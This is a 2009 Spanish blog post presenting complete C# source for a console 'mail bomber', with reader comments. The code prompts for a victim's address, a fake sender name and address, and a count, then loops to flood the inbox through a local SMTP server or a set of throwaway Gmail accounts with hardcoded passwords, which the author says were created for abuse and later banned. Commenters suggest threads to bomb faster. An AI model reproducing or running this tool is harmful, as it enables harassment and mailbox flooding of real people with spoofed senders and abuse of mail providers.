Inicio > .NET > Mail Bomber en C# Modo consola

Mail Bomber en C# Modo consola

Este es un mail bomber que hice cuando recien estaba aprendiendo a programar en c#

asi que es un caos de codigo… aqui le dejo la clase correo

y las cuentas mandaba a un amigo que se creo como 20 cuentas de gmail ajajjajajaj xD al final la bloquearon todas por abusar del servicio XDDD!! asi que tomen esto como ejemplo , por que asi tal como esta, no les funcionaran….


using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Net;
namespace mailer
{
class ClsCorreo
{

public string EnviarCorreo(string para, string titulo, string contenido,string de,string nombre)
{

System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress(de, nombre, System.Text.Encoding.UTF8);
msg.S	ubject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential("usuario", "pass");
client.Port = 25;
client.Host = "127.0.0.1";
client.EnableSsl = false;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine("Error " + ex);
}
return "";
}
public string send(string para, string titulo, string contenido,string de,string namefalso)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress(de, namefalso, System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential();
client.Port = 25;
client.Host = "127.0.0.1";
client.EnableSsl = false;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine("Error " + ex);
}
return "";
}
public string EnviarCorreo3(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress("mail@forward.com", "MailerBot 591", System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential("mailbomber591", "a123456789");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine("Error " + ex);
}
return "";
}
public string EnviarCorreo2(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress("mail@forward.com", "MailerBot 59", System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential("mailbomber59", "a123456789");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine("Error " + ex);
}
return "";
}
public string EnviarCorreo4(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress("mail@forward.com", "MailerBot 592", System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential("mailbomber592", "a123456789");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine("Error " + ex);
}
return "";
}
public string EnviarCorreo5(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress("mail@forward.com", "MailerBot 3000", System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential("mailerbot3000", "a123456789");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine("Error " + ex);
}
return "";
}
public string EnviarCorreo6(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress("mail@forward.com", "MailerBot 592", System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential("mailbomber593", "a123456789");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine("Error " + ex);
}
return "";
}
public string EnviarCorreo7(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress("mail@forward.com", "MailerBot 592", System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential("mailbomber594", "a123456789");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine("Error " + ex);
}
return "";
}
public string EnviarCorreo8(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress("mail@forward.com", "MailerBot 592", System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential("mailbomber595", "a123456789");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine("Error " + ex);
}
return "";
}
}
}

Y la clase main (Repito , el codigo es una $%%#”#$)


using System;
using System.Collections.Generic;
using System.Text;

namespace mailer
{
class Program
{
static void Main(String[] args)
{
ClsCorreo mail = new ClsCorreo();
int i,opcion;

do
{
Console.WriteLine(" ********  Mail Bomber Anonymous By Pablo Videla ********");
Console.WriteLine("1.- Enviar correo con MailBomber2009");
Console.WriteLine("2.- Enviar correo con su mail personal");
Console.WriteLine("3.- Enviar correo con smpt localhost");
Console.WriteLine("4.- Enviar mail con mailbomber59");
Console.WriteLine("5.- Enviar mail con mailbomber 591");
Console.WriteLine("6.- Enviar mail con mailBomber 592");
Console.WriteLine("7.- Enviar mail con bomber 3000");
Console.WriteLine("8.- Enviar mail con bomber 593");
Console.WriteLine("9.- Enviar mail con bomber 594");
Console.WriteLine("10.- Enviar mail con bomber 595");
Console.WriteLine("11.- Salir");

opcion = int.Parse(Console.ReadLine());

switch (opcion)
{
case 1:
try
{
Console.WriteLine("Ingrese mail de la victima");
string m = Console.ReadLine();
Console.WriteLine("Ingrese nombre falso");
string nombre = Console.ReadLine();
Console.WriteLine("Ingrese mail falso");
string de = Console.ReadLine();
Console.WriteLine("Ingrese asunto");
string asunto = Console.ReadLine();
Console.WriteLine("Escriba el mensaje");
string mensaje = Console.ReadLine();
Console.WriteLine("Ingrese la cantidad");
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i < cantidad; i++)
{
mail.EnviarCorreo(m, asunto, mensaje,de,nombre);
Console.WriteLine("Vas en el mail ["+i+"]");
}
Console.WriteLine("El Correo Ha sido enviado correctamente " + i + " veces");
}
catch (Exception errorrr)
{
Console.WriteLine("Error intente nuevamente " + errorrr);
}
break;

case 2:
Console.WriteLine("Pronto...");
break;
case 3:
/* try
{
Console.WriteLine("Ingrese mail de la victima");
string m = Console.ReadLine();
Console.WriteLine("Ingrese asunto");
string asunto = Console.ReadLine();
Console.WriteLine("Escriba el mensaje");
string mensaje = Console.ReadLine();
Console.WriteLine("Ingrese la cantidad");
int cantidad = int.Parse(Console.ReadLine());
Console.WriteLine("Mail falso");
string de = Console.ReadLine();
Console.WriteLine("Nombre falso");
string nombrefalso = Console.ReadLine();
for (i = 0; i < cantidad; i++)
{
mail.send(m, asunto, mensaje,de,nombrefalso);
}
Console.WriteLine("El Correo Ha sido enviado correctamente " + i + " veces");
}
catch (Exception errorrr)
{
Console.WriteLine("Error intente nuevamente " + errorrr);
}*/
Console.WriteLine("Pronto.. en la nueva version");
break;
case 4:
try
{
Console.WriteLine("Ingrese mail de la victima");
string m = Console.ReadLine();
Console.WriteLine("Ingrese asunto");
string asunto = Console.ReadLine();
Console.WriteLine("Escriba el mensaje");
string mensaje = Console.ReadLine();
Console.WriteLine("Ingrese la cantidad");
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i < cantidad; i++)
{
mail.EnviarCorreo2(m, asunto, mensaje);
Console.WriteLine("Vas en el mail [" + i + "]");
}
Console.WriteLine("El Correo Ha sido enviado correctamente " + i + " veces");
}
catch (Exception errorrr)
{
Console.WriteLine("Error intente nuevamente " + errorrr);
}
break;
case 5:
try
{
Console.WriteLine("Ingrese mail de la victima");
string m = Console.ReadLine();
Console.WriteLine("Ingrese asunto");
string asunto = Console.ReadLine();
Console.WriteLine("Escriba el mensaje");
string mensaje = Console.ReadLine();
Console.WriteLine("Ingrese la cantidad");
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i < cantidad; i++)
{
mail.EnviarCorreo3(m, asunto, mensaje);
Console.WriteLine("Vas en el mail [" + i + "]");
}
Console.WriteLine("El Correo Ha sido enviado correctamente " + i + " veces");
}
catch (Exception errorrr)
{
Console.WriteLine("Error intente nuevamente " + errorrr);
}
break;
case 6:
try
{
Console.WriteLine("Ingrese mail de la victima");
string m = Console.ReadLine();
Console.WriteLine("Ingrese asunto");
string asunto = Console.ReadLine();
Console.WriteLine("Escriba el mensaje");
string mensaje = Console.ReadLine();
Console.WriteLine("Ingrese la cantidad");
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i < cantidad; i++)
{
mail.EnviarCorreo4(m, asunto, mensaje);
Console.WriteLine("Vas en el mail [" + i + "]");
}
Console.WriteLine("El Correo Ha sido enviado correctamente " + i + " veces");
}
catch (Exception errorrr)
{
Console.WriteLine("Error intente nuevamente " + errorrr);
}
break;
case 7:
try
{
Console.WriteLine("Ingrese mail de la victima");
string m = Console.ReadLine();
Console.WriteLine("Ingrese asunto");
string asunto = Console.ReadLine();
Console.WriteLine("Escriba el mensaje");
string mensaje = Console.ReadLine();
Console.WriteLine("Ingrese la cantidad");
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i < cantidad; i++)
{
mail.EnviarCorreo5(m, asunto, mensaje);
Console.WriteLine("Vas en el mail [" + i + "]");
}
Console.WriteLine("El Correo Ha sido enviado correctamente " + i + " veces");
}
catch (Exception errorrr)
{
Console.WriteLine("Error intente nuevamente " + errorrr);
}
break;
case 8:
try
{
Console.WriteLine("Ingrese mail de la victima");
string m = Console.ReadLine();
Console.WriteLine("Ingrese asunto");
string asunto = Console.ReadLine();
Console.WriteLine("Escriba el mensaje");
string mensaje = Console.ReadLine();
Console.WriteLine("Ingrese la cantidad");
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i < cantidad; i++)
{
mail.EnviarCorreo6(m, asunto, mensaje);
Console.WriteLine("Vas en el mail [" + i + "]");
}
Console.WriteLine("El Correo Ha sido enviado correctamente " + i + " veces");
}
catch (Exception errorrr)
{
Console.WriteLine("Error intente nuevamente " + errorrr);
}
break;
case 9:
try
{
Console.WriteLine("Ingrese mail de la victima");
string m = Console.ReadLine();
Console.WriteLine("Ingrese asunto");
string asunto = Console.ReadLine();
Console.WriteLine("Escriba el mensaje");
string mensaje = Console.ReadLine();
Console.WriteLine("Ingrese la cantidad");
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i < cantidad; i++)
{
mail.EnviarCorreo7(m, asunto, mensaje);
Console.WriteLine("Vas en el mail [" + i + "]");
}
Console.WriteLine("El Correo Ha sido enviado correctamente " + i + " veces");
}
catch (Exception errorrr)
{
Console.WriteLine("Error intente nuevamente " + errorrr);
}
break;
case 10:
try
{
Console.WriteLine("Ingrese mail de la victima");
string m = Console.ReadLine();
Console.WriteLine("Ingrese asunto");
string asunto = Console.ReadLine();
Console.WriteLine("Escriba el mensaje");
string mensaje = Console.ReadLine();
Console.WriteLine("Ingrese la cantidad");
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i < cantidad; i++)
{
mail.EnviarCorreo8(m, asunto, mensaje);
Console.WriteLine("Vas en el mail [" + i + "]");
}
Console.WriteLine("El Correo Ha sido enviado correctamente " + i + " veces");
}
catch (Exception errorrr)
{
Console.WriteLine("Error intente nuevamente " + errorrr);
}
break;

}

} while (opcion != 11);
}

}
}

Escrito Por: Pablo Videla

Categorías:.NET Etiquetas: , , , ,
  1. EstebanFuentealba
    septiembre 14, 2009 a las 5:42 pm

    jajaja buena don videla , lo malo es que repites mucho EnviarCorreoX, podria hacerse solo 1 metodo que reciba parametros y un arraylist con las cuentas, pero igual esta bueno, Saludos!

  2. Pablo Videla
    septiembre 14, 2009 a las 5:44 pm

    kakjajka ya lo se , al principio dije que recien estaba aprendiendo c# xD es añejo el codigo

  3. EstebanFuentealba
    septiembre 14, 2009 a las 5:51 pm

    Podrian lanzarse hilos para que no se demore tanto en bombardear =P

  4. Pablo Videla
    septiembre 14, 2009 a las 5:53 pm

    A que te refieres? , en modo consola no se demora … pero no se a que te refieres con lanzarles hilos

  5. Deko
    septiembre 15, 2009 a las 2:28 pm

    quee paaaja wm xD

  6. Pablo Videla
    septiembre 15, 2009 a las 5:25 pm

    El ocio po wn xD

  7. mdn
    noviembre 28, 2009 a las 9:13 pm

    Como envias un mail anonimo desde c#???

  1. No trackbacks yet.

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

A %d blogueros les gusta esto: